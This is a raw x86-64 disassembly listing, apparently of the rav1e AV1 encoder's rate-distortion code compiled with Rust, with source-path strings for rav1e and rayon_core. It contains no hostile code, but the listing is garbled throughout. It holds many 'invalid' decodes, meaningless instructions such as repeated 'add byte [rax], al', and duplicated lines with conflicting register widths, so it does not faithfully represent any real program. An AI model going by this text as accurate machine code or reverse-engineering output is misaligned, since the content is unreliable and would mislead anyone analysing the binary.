lea r9, fcn.140009390
invalid
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x20
add dword [rax], eax
invalid
add byte [rbp + rcx*4 + 0xd], cl
call 0x18c0c66b2
invalid
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x20
add dword [rax], eax
invalid
mov edx, 0x2b
call fcn.1401c7200
invalid
adc byte [rax], al
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
out dx, al
sbb dword [rax], eax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea eax, [0x140240c90]
mov edx, 0x28
call fcn.1401c6f30
out 0x1f, al
adc byte [rax], al
out 0x1f, al
adc byte [rax], al
int3
mov dh, 0xc2
lea rdx, [0x14028c074]
invalid
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
invalid
add eax, edx
jmp rax
movzx eax, cl
lea ecx, [rax - 6]
cli
cli
cmp ecx, 9
ja 0x1400c4ff2
test dword [rax], eax
add byte [rax], al
or dword [rdi], ecx
xchg dword [rbp + 0x48000000], eax
test dword [rax], eax
add byte [rax], al
invalid
test dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x14028c0f0]
lea rax, [0x14028c0f0]
lea eax, [0x14028c0f0]
jl case.0x1400c4fec.26
sbb al, 0
movsxd rcx, dword [rax + rcx*4]
or al, 0x88
add rcx, rax
add ecx, eax
jmp rcx
mov cl, 5
jmp case.0x1400c4f5c.0
movzx eax, cl
lea ecx, [rax - 6]
cli
cmp ecx, 9
stc
or dword [rdi + 0x6a], esi
ja 0x1400c4ff6
ja 0x1400c4ff6
lea rax, [0x14028c0c8]
add eax, 0x1c7135
sbb al, 0
add byte [rax + 0x63], cl
or al, 0x88
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov cl, 4
jmp case.0x1400c4f5c.0
pop rdi
pop rdi
add cl, 0xfa
sar edx, 0x80
stc
invalid
cli
cmp cl, 7
jae case.0x1400c4f7b.1
push rbp
shl cl, 3
loope 0x1400c4fae
add ecx, dword [rax - 0x48]
adc dword [rsi], edx
invalid
movabs rax, 0x15161613161611
jmp 0x1400c4fcc
invalid
add cl, 0xfa
cli
cmp cl, 7
jae case.0x1400c4f7b.1
invalid
stc
invalid
shl cl, 3
shl cl, 3
movabs rax, 0x14161612161610
adc dl, byte [rsi]
invalid
add byte [rax - 0x2d], cl
call 0x16cf8115c
mov ecx, eax
jmp case.0x1400c4f5c.0
shr rax, cl
shr eax, cl
mov ecx, eax
jmp case.0x1400c4f5c.0
movzx ecx, cl
leave
lea eax, [rcx - 6]
cmp eax, 9
clc
or dword [rdi + 0x3c], esi
clc
or dword [rdi + 0x3c], esi
lea rcx, [0x14028c0a0]
lea ecx, [0x14028c0a0]
jo 0x1400c5000
sbb al, 0
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov cl, 3
jmp case.0x1400c4f5c.0
mov cl, 2
jmp 0x1400c4ff8
mov cl, 1
add dword [rbx + 0x27403f8], eax
cmp eax, 3
je case.0x1400c4f5c.0
mov cl, 0x16
mov eax, ecx
ret
enter 0xffffffffffffb1c3, 0xb
mov cl, 0xb
jmp case.0x1400c4f5c.0
mov cl, 0xe
jmp case.0x1400c4f5c.0
mov cl, 8
jmp case.0x1400c4f5c.0
mov cl, 0xa
jmp case.0x1400c4f5c.0
mov cl, 0xd
jmp case.0x1400c4f5c.0
mov cl, 7
jmp case.0x1400c4f5c.0
cmp ecx, 3
jne case.0x1400c4f7b.1
xor ecx, ecx
jmp case.0x1400c4f5c.0
mov cl, 9
jmp case.0x1400c4f5c.0
mov cl, 0xc
jmp case.0x1400c4f5c.0
mov cl, 6
jmp case.0x1400c4f5c.0
cmp r14, r15
je case.0x14003f54f.452
movzx r12d, byte [r14]
inc r14
cmp r12w, 3
je 0x1400c5545
mov r13d, dword [rbx + 0x220]
mov ecx, r12d
call fcn.1400777bb
cmp rax, 6
ja 0x1400c8c2a
mov rcx, qword [rbx + 0x128]
mov r8b, byte [rcx + rax + 0x2f4]
mov rcx, rdi
mov rdx, r13
call fcn.1400e2bcc
test al, al
jne 0x1400c5545
cmp qword [rbx + 0x110], 0
jne 0x1400c55b4
cmp r12b, 4
ja 0x1400c562f
invalid
mov byte [rax], al
add byte [rax], al
mov eax, dword [rbx + 0x1c8]
mov qword [rbx + 0x170], rax
add byte [rax], al
push 1
pop rax
mov qword [rbx + 0x110], rax
cmp qword [rbx + 0x138], 0
add dword [rax], eax
add byte [rax], al
jne 0x1400c55db
cmp r12b, 5
jb 0x1400c5633
mov eax, dword [rbx + 0x1c8]
mov qword [rbx + 0x130], rax
push 1
pop rax
mov qword [rbx + 0x138], rax
movzx edx, r12w
movzx edx, sp
or edx, 0x800
mov rcx, rsi
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov eax, 0x98e80017
rol dword [rcx], cl
add byte [rcx + rcx*4 - 0x1f], al
call fcn.1400777bb
cmp rax, 7
jae 0x1400c8e87
mov rcx, qword [rbx + 0x128]
mov dl, byte [rcx + rax + 0x2f4]
lea rcx, [rbx + 0x220]
call fcn.1400e2c0c
invalid
add dword [rax], eax
jmp 0x1400c5545
invalid
invalid
invalid
invalid
xor eax, eax
jmp case.0x1400422c1.484
xor eax, eax
jmp 0x1400c55de
mov eax, dword [rbx + 0x1c8]
test rax, rax
je 0x1400c9050
lea r12, [rbx + 0x5d0]
and dword [r12 + 0x140], 0
and dword [rbx + 0x7b8], 0
movabs dword [0x38a38300000007b8], eax
add eax, dword [rax]
add byte [rax], al
lea rcx, [rbx + 0xb00]
mov eax, dword [rax]
or eax, dword [rax]
add byte [rbx + 0x8c0a1], al
add byte [rax], al
lea rcx, [rbx + 0x270]
add al, byte [rax]
add byte [rbx + 0x48003861], al
cmp byte [rax], al
lea rcx, [rbx + 0x1cc]
lea rax, [rbx + rax*2]
add al, 0x43
add rax, 0x1cc
mov qword [rbx + 0x118], rax
mov rax, qword [rbx + 0x128]
mov eax, dword [rbx + 0x128]
add byte [rax - 0x75], cl
cmp byte [rax + 0x48000002], 0x89
or dword [rax], 1
or byte [rcx], al
add byte [rax], al
lea r15, [rbx + 0x340]
lea r13, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
invalid
add byte [rbp + 0x31], al
div byte [rcx]
xor esi, esi
cmp rcx, qword [rbx + 0x118]
je case.0x14003f2eb.466
and dword [rbx + 0x3ac], 0
mov r14, rcx
mov di, word [rcx]
mov rax, qword [rbx + 0x178]
js 0x1400c56dd
add byte [rax], al
mov rcx, qword [rax + 0x1278]
mov byte [rbx + 0xed], 1
sub ebp, 0
add byte [rax], al
add dword [rax - 0x75], ecx
sub dword [rax], 1
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x30], rax
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], r15
and al, 0x20
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x13e8]
mov r8, qword [rbp + 0x13f0]
mov r9d, edi
call fcn.1400c9d5e
mov byte [rbx + 0xed], 1
lea rcx, [rbx + 0x270]
add byte [rax], al
mov rdx, rax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
add eax, 0x17b646
call fcn.1400e2a27
add r14, 2
lea rax, [rsi + 1]
mov qword [rbx + 0xf0], rax
xor eax, eax
cmp rax, 2
je 0x1400c5763
and dword [rbx + rax*4 + 0x1e0], 0
inc rax
jmp 0x1400c5750
mov qword [rbx + 0x100], r14
mov eax, dword [rbx + 0x3ac]
sub dword [rbx + rax - 0x3f7b0000], 0x74
je 0x1400c5791
mov ecx, dword [rbx + 0x340]
mov dword [rbx + 0x1e0], ecx
cmp eax, 1
je 0x1400c5791
mov eax, dword [rbx + 0x34c]
mov dword [rbx + 0x1e4], eax
mov r15b, byte [rbp + 0x13e0]
mov ecx, r15d
stc
call fcn.14007c694
mov r14, rax
mov ecx, r15d
call fcn.14007c6af
dec dword [rax - 0x75]
mov esp, eax
add dword [rax], eax
add byte [rcx - 0x50], al
add dword [rax + rcx*4 - 0x7d], eax
in eax, dx
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7797dbac], cl
push rsp
and al, 0x60
mov byte [rsp + 0x58], r8b
pop rax
mov byte [rsp + 0x50], r8b
mov qword [rsp + 0x48], rcx
and al, 0x48
mov byte [rsp + 0x38], dil
mov rcx, qword [rbp + 0x13f0]
add byte [rax], al
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x13e8]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
and dword [rsp + 0x70], 0
mov word [rsp + 0x40], 1
lea rcx, [rbx + 0x7c0]
mov rdx, qword [rbx + 0x128]
mov r8, qword [rbx + 0x148]
add byte [rbp - 0x77], cl
int1
call fcn.1400886e4
lea r15, [rbx + 0x340]
add byte [rax - 0x75], cl
add eax, 7
add byte [rax], al
test rax, rax
test eax, eax
mov edx, dword [rbx + 0x7d8]
cmove rdx, rax
mov byte [rbx + 0xed], 1
lea rcx, [rbx + 0x1a8]
add dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
mov bpl, 0x17
add al, ch
mov ss, ecx
add dword [rax], eax
xor edi, edi
invalid
cmp rdi, 1
je 0x1400c5879
inc rdi
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0xe
invalid
mov r8, rsi
mov r9, r13
call fcn.1400e2adc
add bl, ch
invalid
cmp dword [rbx + 0x3ac], 0
je case.0x140047a7d.321
mov byte [rbx + 0xed], 1
mov rcx, r12
loope 0x1400c583f
cmovns ecx, dword [rcx + 0xd8d4cf0]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea ecx, [0x140240db0]
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
cmp ecx, 2
jb 0x1400c58cd
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x12
mov r8, rsi
invalid
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
jmp 0x1400c58cd
xor ecx, ecx
mov rax, qword [rbx + 0x108]
mov dil, byte [rax + 0x44]
test dil, dil
je 0x1400c5929
cmp ecx, 2
jbe 0x1400c5929
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x10
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
cmp ecx, 4
jb 0x1400c5929
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x11
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
test dil, dil
push 0xc
pop rax
push 0x24
pop rdx
cmovne rax, rdx
mov ecx, ecx
mov r14d, dword [rbx + 0x1c0]
imul rdx, rcx, 0xc
xor ecx, ecx
cmp rdx, rcx
je 0x1400c599c
cmp rsi, r14
jae 0x1400c63b3
movzx r8d, word [rbx + rcx + 0x340]
movzx r9d, word [rbx + rsi*8 + 0x1a8]
add dword [rax], eax
add byte [rsi + 0x45], ah
cmp eax, ecx
jne 0x1400c5991
movzx r9d, word [rbx + rcx + 0x342]
movzx r10d, word [rbx + rsi*8 + 0x1aa]
mov bh, 0x94
rep stosb byte [rdi], al
add dword [rax], eax
add byte [rax + 0x39], cl
enter 0xffffffffffff840f, 0xffffffffffffff93
add byte [rax], al
invalid
cmp r9w, r10w
jne 0x1400c5996
invalid
jmp 0x1400c5a19
cmp rax, rcx
je 0x1400c59ae
add rcx, 0xc
jmp 0x1400c5945
cmp rsi, r14
jae case.0x1400452cb.352
movzx r9d, word [rbx + rsi*8 + 0x1a8]
test r9w, r9w
jne 0x1400c59bf
cmp word [rbx + rsi*8 + 0x1aa], 0
je 0x1400c59da
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x13
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
add dl, cl
add dword [rax], eax
push 0x1c
pop rcx
lea rdx, [rbx + 0x7c0]
mov rdi, rdx
mov rsi, r15
rep movsd dword [rdi], dword [rsi]
mov byte [rbx + 0xed], 0
lea rcx, [rbx + 0xb00]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2a6b
mov rsi, qword [rbx + 0xf0]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rax]
add dword [rax], eax
add cl, ch
movsb byte [rdi], byte [rsi]
cld
invalid
invalid
cmp r9w, r10w
je 0x1400c59da
mov r9d, r8d
cmp rax, rcx
je 0x1400c59ae
jmp 0x1400c59da
mov dil, byte [rbp + 0x13e0]
mov ecx, edi
call fcn.1400c2707
mov rsi, rax
mov ecx, edi
call fcn.1400c2719
cmp rsi, rax
cmovb rax, rsi
invalid
invalid
mov rcx, qword [rbx + 0x128]
mov ecx, dword [rbx + 0x128]
cmp byte [rcx + 0x30b], 0
add eax, dword [rax]
add byte [rax], al
je 0x1400c5c50
add dword [rax], eax
invalid
cmp rax, 2
jb 0x1400c5c50
cmp qword [rbx + 0x110], 0
je 0x1400c5c50
test ah, bl
add dword [rax], eax
add byte [rax], al
cmp qword [rbx + 0x138], 0
je 0x1400c5c50
test dh, cl
add dword [rax], eax
invalid
mov edx, dword [rbx + 0x1c8]
mov rax, qword [rbx + 0x170]
xor dword [rax + 1], 0
add byte [rax + 0x39], cl
ror byte [rdi], 1
add eax, 0x32
add byte [rax], al
mov rcx, qword [rbx + 0x130]
cmp rcx, rdx
jae 0x1400c8d6c
movzx eax, byte [rbx + rax*2 + 0x1cc]
movzx esi, byte [rbx + rcx*2 + 0x1cc]
shl esi, 8
or byte [rcx], cl
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea rcx, [rbx + 0x1c8]
mov edx, esi
call fcn.1400e2996
invalid
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], al
mov rax, qword [rbx + 0x170]
xor dword [rax + 1], 0
add byte [rax + 0x39], cl
ror byte [rdi], 1
invalid
cwde
xor al, byte [rax]
add byte [rax], al
mov rcx, qword [rbx + 0x130]
cmp rcx, rdx
jae 0x1400c8d91
mov eax, dword [rbx + rax*8 + 0x1a8]
mov edx, dword [rbx + rcx*8 + 0x1a8]
shl rdx, 0x20
and byte [rax + 9], cl
ret 0x8d4c
add eax, 0x17b20f
lea rcx, [rbx + 0x1a8]
call fcn.1400e29e3
and dword [rbx + 0x3ac], 0
add byte [rax], al
mov rax, qword [rbx + 0x178]
cmp dword [rax + 1], 0
add byte [rax - 0x75], cl
mov byte [rax + 0x12], bh
add byte [rax], al
mov al, 1
mov byte [rbx + 0xef], al
out dx, eax
add byte [rax], al
add byte [rax + 0x48382444], cl
mov eax, dword [rbx + 0x128]
mov qword [rsp + 0x30], rax
mov al, byte [rbp + 0x13e0]
test eax, esp
adc eax, dword [rax]
add byte [rax + 0x4c282444], cl
mov dword [rsp + 0x20], edi
jl 0x1400c5b7c
and byte [rax - 0x75], cl
xchg ebp, eax
call 0x18c0c5b74
mov eax, dword [rbp + 0x13f0]
mov r9d, esi
call fcn.1400c9d5e
out dx, eax
add byte [r8], al
add byte [rax], al
mov byte [rbx + 0xef], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea rcx, [rbx + 0x270]
mov rdx, rax
call fcn.1400e2a27
xor r14d, r14d
lea r15, [0x140218a18]
mov r13d, 0xfce38000
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea rdi, [rbx + 0x5d0]
cmp r14, 8
je case.0x1400473d4.342
mov dl, byte [r14 + r15]
inc r14
mov rax, qword [rbx + 0x108]
cmp byte [rax + 0x44], 0
je 0x1400c5c09
mov r8d, dword [rbx + 0x1c8]
lea eax, [rdx - 0xf]
cmp al, 0x11
add byte [rbp + 0x113cf142], cl
jae 0x1400c5bf2
movzx eax, al
mov ecx, 0x1f9c7
bt ecx, eax
jae 0x1400c5bf2
mov ecx, dword [rbx + 0x3ac]
lea r9, [0x14028a9d8]
lea ecx, [0x14028a9d8]
cmp qword [r9 + rax*8], rcx
or al, 0xc1
or al, 0xc1
jae 0x1400c5baa
dec r8
mov byte [rbx + 0xef], 1
add byte [rax], al
add dword [rax - 0x77], ecx
stc
mov r9, rsi
call fcn.1400e2adc
add bl, ch
invalid
add bl, ch
movabs eax, dword [0xb3771ff883c2b60f]
movzx eax, dl
cmp eax, 0x1f
ja 0x1400c5bc4
bt r13d, eax
jb 0x1400c5baa
xchg ebx, eax
jmp 0x1400c5bc4
push 0x1c
pop rcx
lea rdx, [rbx + 0x7c0]
lea rsi, [rbx + 0x340]
mov rdi, rdx
mov edi, edx
xchg ebx, eax
rol byte [rdi], 0
add byte [rax - 0x73], cl
mov bl, 0x40
add eax, dword [rax]
add byte [rax - 0x77], cl
mov edi, edx
rep movsd dword [rdi], dword [rsi]
mov byte [rbx + 0xef], 0
out dx, eax
add byte [rax], al
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea rcx, [rbx + 0xb00]
call fcn.1400e2a6b
mov r14d, dword [rbx + 0x1c0]
mov esi, dword [rbx + 0x1c0]
invalid
add byte [rax - 0x75], cl
or dword [rax], 1
add byte [rax], al
mov rax, qword [rbx + 0x108]
cmp byte [rax + 0x47], 2
mov eax, dword [rbx + 0x710]
push 9
pop rdi
cmovae rdi, rax
shl rax, 4
loopne 0x1400c5c70
lea r13, [rbx + rax]
add r13, 0x5d0
invalid
rol byte [0xc9505c79], 1
invalid
mov qword [rbx + 0x130], rax
add dword [rax], eax
add byte [rdi], cl
push rdi
test byte [rax - 0x77], 0xbb
add byte [rcx], 0
invalid
invalid
rol byte [0xc9505c79], 1
invalid
add dword [rax], eax
add byte [rdi], cl
push rdi
test byte [rax - 0x77], 0xbb
add byte [rcx], 0
add byte [rcx + rcx*4 - 0x55], cl
invalid
invalid
stosd dword [rdi], eax
jo 0x1400c5c91
mov qword [rbx + 0x170], r13
add byte [rax], al
add byte [rbp + 0x39], cl
in al, dx
cmp r12, r13
je 0x1400c6229
add byte [rbp + 0xf], al
mov dh, 0x34
and al, 0x41
lea eax, [rsi - 0xe]
invalid
invalid
movzx r14d, byte [r12]
lea eax, [r14 - 0xe]
invalid
invalid
cmp eax, 0x13
cmp eax, 0x13
cmp eax, 0x13
ja case.default.0x1400c5cc0
mov rsi, qword [r12 + 8]
mov esi, dword [rsp + 8]
lea rcx, [0x14028c118]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x1400c8b26
xchg ebx, eax
rcl byte [rbx], 0
add byte [rax + 0x39], cl
invalid
imul r8, rsi, 0x70
imul eax, esi, 0x70
mov edx, dword [rbx + r8 + 0xb6c]
lea eax, [r14 - 0x10]
movzx eax, al
lea rcx, [0x14028aa60]
jne 0x1400c5d36
sbb al, 0
jne 0x1400c5d36
sbb al, 0
add byte [rax - 0x75], cl
or al, 0xc1
mov rcx, qword [rcx + rax*8]
cmp rcx, rdx
jae 0x1400c8b3a
invalid
add byte [rbp + rcx*4 + 0xd], cl
movabs eax, dword [0x48c1048b49001c4d]
mov rax, qword [r9 + rax*8]
cmp rax, rdx
lea r9, [0x14028aaa0]
mov rax, qword [r9 + rax*8]
cmp rax, rdx
ror dword [rax + 0x39], 0xd0
jae 0x1400c8b4b
lea rdx, [rbx + r8]
add rdx, 0xb00
imul rcx, rcx, 0xc
movzx r8d, word [rdx + rcx]
or cl, byte [rdi]
mov bh, 0x4c
or al, byte [rdx]
or cl, byte [rdi]
mov bh, 0x4c
or al, byte [rdx]
imul rax, rax, 0xc
imul eax, eax, 0xc
mov eax, dword [rdx + rax + 4]
mov word [rbx + 0x120], r8w
mov word [rbx + 0x122], cx
mov dword [rbx + 0x122], ecx
mov dword [rbx + 0x124], eax
jmp 0x1400c5dd7
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
cmp esi, edx
cmp esi, edx
jae 0x1400c8b8e
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
je 0x1400c6210
add rax, rbx
add rax, 0xb00
mov rax, qword [rax]
jmp 0x1400c5dd0
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
invalid
jae 0x1400c8b7a
invalid
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 1
jbe 0x1400c61f7
invalid
add al, 0
invalid
invalid
add rax, rbx
add rax, 0xb00
mov rax, qword [rax + 0xc]
jmp 0x1400c5dd0
xor eax, eax
cmp rax, 2
je 0x1400c5dd7
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x1400c5da8
cmp rsi, qword [rbx + 0x130]
jae 0x1400c8b5f
mov rax, qword [rbx + rsi*8 + 0x1a8]
mov qword [rbx + 0x120], rax
mov r15, qword [rbx + 0x120]
lea rcx, [rbx + 0x718]
mov rdx, r15
call fcn.1400e2b3c
int 1
add byte [rbx + 0x71083], cl
add byte [rax + 0x39], cl
invalid
jne 0x1400c5e12
lea rcx, [rbx + 0x2e8]
xor edx, edx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2b8a
jmp 0x1400c6140
mov qword [rbx + 0x110], r12
mov qword [rbx + 0x118], r15
mov qword [rbx + 0x108], r14
mov qword [rbx + 0xf0], rsi
mov rsi, qword [rbx + 0x148]
mov rdi, qword [rsi + 0x2c0]
add byte [rax], al
mov cl, byte [rsi + 0x2d0]
shl rdi, cl
mov r13, qword [rsi + 0x2c8]
shl r13, cl
mov rax, qword [rsi + 0x120]
mov r14, qword [rax + 0x20]
mov qword [rbx + 0x100], rax
add byte [rcx], al
add byte [rax], al
mov r15, qword [rax + 0x28]
mov r12, qword [rbp + 0x13e8]
mov rcx, r12
mov rdx, qword [rbp + 0x13f0]
xchg ebp, eax
lock adc eax, dword [rax]
add byte [rbp - 0x77], cl
invalid
mov r9, r15
call fcn.14007df20
mov ecx, r14d
mov r9, rsi
shr r12, cl
mov rsi, rdx
shl r12, 2
mov rdx, qword [rbp + 0x13f0]
mov ecx, r15d
shr rdx, cl
test r12, r12
js 0x1400c8ed6
mov r10, qword [r9 + 0x140]
cmp r10, r12
jb 0x1400c8ed6
mov qword [rbx + 0x138], rax
shl rdx, 2
test rdx, rdx
mov rcx, qword [rbx + 0xf0]
js 0x1400c8ebb
mov r8, qword [r9 + 0x148]
cmp r8, rdx
jb 0x1400c8ebb
sub r10, r12
sub r8, rdx
mov r11, qword [rbx + 0x100]
mov r15, qword [r11]
imul r15, rdx
add r15, qword [r9 + 0x128]
sub byte [rcx], al
add byte [rax], al
add r15, r12
add r12, qword [r9 + 0x130]
add rdx, qword [r9 + 0x138]
mov qword [rbx + 0x1e8], r15
mov qword [rbx + 0x1e0], r11
mov qword [rbx + 0x1f0], r12
mov qword [rbx + 0x1f8], rdx
mov qword [rbx + 0x200], r10
mov qword [rbx + 0x208], r8
mov edx, dword [rbx + 0x1c8]
cmp rcx, rdx
jae 0x1400c8b15
mov r12, rsi
mov rsi, rcx
mov cl, byte [rbp + 0x13e0]
call fcn.14007c6af
mov r14, rax
mov cl, byte [rbp + 0x13e0]
call fcn.14007c694
movzx edx, word [rbx + rsi*2 + 0x1cc]
mov rcx, qword [rbx + 0x148]
movups xmm0, xmmword [rcx + 0x278]
movups xmmword [rsp + 0x60], xmm0
mov rcx, qword [rbx + 0x118]
mov qword [rsp + 0x58], rcx
mov word [rsp + 0x50], dx
mov qword [rbx + 0xf0], r14
mov qword [rsp + 0x48], r14
mov r14, rax
mov qword [rsp + 0x40], rax
lea rax, [rbx + 0x1e0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rbx + 0x138]
cmp dword [rax], 1
add byte [rax], al
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
mov rcx, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x128]
mov r8, rdi
mov r9, r13
call fcn.1400d79dc
mov rdi, qword [rbx + 0x180]
mov r13, qword [rbx + 0x170]
mov r12, qword [rbx + 0x110]
mov rcx, qword [rbx + 0x148]
mov rax, qword [rcx + 0x78]
mov rdx, qword [rcx + 0x80]
test rdx, rdx
test edx, edx
je 0x1400c60c1
mov cl, byte [rax + 0x20]
mov r8, qword [rbp + 0x13e8]
shr r8, cl
mov cl, byte [rax + 0x28]
shl r8, 2
mov r9, qword [rbp + 0x13f0]
shr r9, cl
test r8, r8
js 0x1400c8f43
mov rcx, qword [rbx + 0x148]
mov rcx, qword [rcx + 0x98]
cmp rcx, r8
jb 0x1400c8f43
shl r9, 2
shl ecx, 2
test r9, r9
mov rsi, qword [rbx + 0x148]
js 0x1400c8f5e
mov r10, qword [rsi + 0xa0]
cmp r10, r9
jb 0x1400c8f5e
sub rcx, r8
sub ecx, eax
sub r10, r9
mov r11, qword [rax]
imul r11, r9
add rdx, r8
add rdx, r11
add r8, qword [rsi + 0x88]
add byte [rbx + rax - 0x72], cl
nop
add byte [rax], al
add byte [rax - 0x77], cl
xchg ebx, eax
add rax, qword [rax]
add byte [rax - 0x77], cl
add dword [rax + 3], 0
add byte [rcx + rcx*4 - 0x7d], cl
push rax
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x75], cl
pop rax
add eax, dword [rax]
add byte [rax - 0x77], cl
mov esp, dword [rax + 3]
add byte [rax], al
add byte [rbx + rax - 0x72], cl
nop
add byte [rax], al
add byte [rax - 0x77], cl
xchg ebx, eax
add rax, qword [rax]
add byte [rax - 0x77], cl
add dword [rax + 3], 0
add byte [rcx + rcx*4 - 0x7d], cl
push rax
add eax, dword [rax]
adc dword [rax + 3], 0
add byte [rcx + rcx*4 - 0x75], cl
pop rax
add eax, dword [rax]
add byte [rax - 0x77], cl
mov esp, dword [rax + 3]
add byte [rax], al
mov qword [rbx + 0x368], r10
jmp 0x1400c60db
lea rcx, [rbx + 0x348]
add byte [rax], al
movups xmmword [rcx + 0x10], xmm6
movups xmmword [rcx], xmm6
and qword [rcx + 0x20], 0
mov qword [rbx + 0x340], rax
mov r9, qword [rbx + 0xf0]
lea rax, [rbx + 0x1f0]
lock add byte [rax], al
add byte [rax - 0x73], cl
xor eax, 1
add byte [rax], al
movups xmm0, xmmword [rax]
movupd xmm1, xmmword [rax + 0x10]
lea rax, [rbx + 0x7d0]
add byte [rax], al
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rbx + 0x7c8], r15
mov rax, qword [rbx + 0x100]
mov qword [rbx + 0x7c0], rax
lea rcx, [rbx + 0x340]
lea rdx, [rbx + 0x7c0]
add byte [rax], al
add byte [rax], al
mov r8, r14
call fcn.14007c6ca
lea rcx, [rbx + 0x2e8]
mov edx, eax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2b8a
add r12, 0x10
jmp 0x1400c5c92
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x1400c8bbd
xchg ebx, eax
rcl byte [rbx], 0
add byte [rax + 0x39], cl
invalid
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
je 0x1400c8bd1
cmp rsi, qword [rbx + 0x130]
jae 0x1400c8bfa
invalid
sub dword [rdx], 0
invalid
add dword [rbx + 0x4800002a], 1
fmul dword [rax + 5]
add byte [rbx], cl
add byte [rax], al
add rax, rbx
add rax, 0xb00
mov eax, dword [rax]
mov ecx, dword [rbx + rsi*8 + 0x1ac]
mov dword [rbx + 0x120], eax
mov dword [rbx + 0x124], ecx
jmp 0x1400c5dd7
cmp rsi, qword [rbx + 0x130]
jae 0x1400c8ba2
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x1400c8be6
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
je 0x1400c8c15
movzx ecx, word [rbx + rsi*8 + 0x1a8]
movzx edx, word [rbx + rsi*8 + 0x1aa]
add rax, rbx
add rax, 0xb00
mov eax, dword [rax + 4]
mov word [rbx + 0x120], cx
mov word [rbx + 0x122], dx
jmp 0x1400c5d3c
xor eax, eax
cmp rax, 2
je 0x1400c5dd7
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x1400c61f9
xor eax, eax
cmp rax, 2
je 0x1400c5dd7
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x1400c6212
lea rcx, [rbx + 0x828]
lea rsi, [rbx + 0x5d0]
mov r8d, 0x140
